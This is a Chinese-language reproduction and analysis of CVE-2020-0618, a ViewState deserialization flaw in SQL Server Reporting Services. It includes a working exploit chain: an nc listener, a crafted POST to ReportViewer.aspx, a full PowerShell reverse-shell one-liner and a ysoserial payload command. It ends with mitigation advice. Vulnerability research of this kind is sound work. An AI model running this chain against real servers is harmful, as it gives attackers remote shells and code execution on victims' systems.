Microsoft SQL Server Reporting Services权限提升漏洞复现(CVE-2020-0618)
字数 1903 2025-08-25 22:58:55
Microsoft SQL Server Reporting Services权限提升漏洞(CVE-2020-0618)复现与分析
0x00 漏洞概述
漏洞性质:Microsoft SQL Server Reporting Services (SSRS)权限提升漏洞
CVE编号:CVE-2020-0618
漏洞描述:
- 当Microsoft SQL Server Reporting Services错误处理页面请求时存在远程代码执行漏洞
- 成功利用此漏洞的攻击者可以以Report Server服务账户(nt service\reportserver)的权限执行代码
- 需要经过身份验证的攻击者向受影响的Reporting Services实例提交特制的页面请求
漏洞本质:
- 相比"SQL Server远程代码执行漏洞",更准确描述应为"SQL Server Reporting Services权限提升漏洞"
- Reporting Services默认不安装,且默认使用Windows身份验证
0x01 影响版本
受影响版本:
- Microsoft SQL Server 2012 for 32-bit Systems Service Pack 4
- Microsoft SQL Server 2012 for x64-based Systems Service Pack 4
- Microsoft SQL Server 2014 Service Pack 3 for 32-bit Systems
- Microsoft SQL Server 2014 Service Pack 3 for x64-based Systems
- Microsoft SQL Server 2016 for x64-based Systems Service Pack 2
注:
- 360灵腾安全实验室报告此漏洞也影响SQL Server 2008且无对应补丁
- 官方描述中的QFE(快速修复版)、CU(累积更新版)、GDR(通用发行版)是指补丁版本而非受影响版本
0x02 环境准备
推荐版本:
- SQL Server 2016 Developer Edition x64 (可从MSDN I tell you下载)
安装注意事项:
- 安装过程中选择"SQL Server功能安装"
- 确保勾选"Reporting Services"组件
- 设置强密码(如123qweASD)
配置步骤:
- 安装完成后启动"Reporting Services配置管理器"
- 点击"连接"验证服务是否成功启动
0x03 漏洞复现步骤
1. 准备监听
nc.exe -lvp 4343
2. 构造恶意请求
请求方法:POST
请求URL:
http://[目标IP]/Pages/ReportViewer.aspx
请求头:
Content-Type: application/x-www-form-urlencoded
请求体(Body):
NavigationCorrector$PageState=NeedsCorrection
NavigationCorrector$ViewState=[payload]
__VIEWSTATE=
3. 认证配置
- 认证类型:NTLM
- 用户名:本地有效用户
- 密码:对应密码
4. 生成Payload
PowerShell命令:
$command = '$client = New-Object System.Net.Sockets.TCPClient("127.0.0.1",4343);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String);$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()'
$bytes = [System.Text.Encoding]::Unicode.GetBytes($command)
$encodedCommand = [Convert]::ToBase64String($bytes)
.\ysoserial.exe -g TypeConfuseDelegate -f LosFormatter -c "powershell.exe -encodedCommand $encodedCommand" -o base64 | clip
注意事项:
- 将命令中的IP(127.0.0.1)和端口(4343)替换为实际监听地址
- 执行后payload会自动复制到剪贴板
5. 发送请求
将生成的payload粘贴到请求体的NavigationCorrector$ViewState字段并发送
6. 验证结果
成功利用后,nc监听端会收到反连shell,权限为nt service\reportserver
0x04 技术分析
漏洞根源:
- Reporting Services在处理特制的页面请求时存在反序列化漏洞
- 攻击者可以通过构造恶意的ViewState参数触发漏洞
利用条件:
- 目标系统安装了Reporting Services
- 攻击者拥有有效的Windows身份验证凭据
- Reporting Services服务正常运行
利用限制:
- 默认情况下Reporting Services使用Windows身份验证(RSWindowsNegotiate或RSWindowsNTLM)
- 需要攻击者已经获得有效凭据
0x05 防御措施
官方补丁:
- 微软已发布安全更新,建议及时安装对应版本补丁
临时缓解措施:
- 限制对Reporting Services的访问
- 禁用不必要的Reporting Services功能
- 加强身份验证机制
附录
参考资源:
工具下载:
- ysoserial:反序列化利用工具
- nc:网络监听工具
- SQL Server Developer Edition:可从MSDN I tell you获取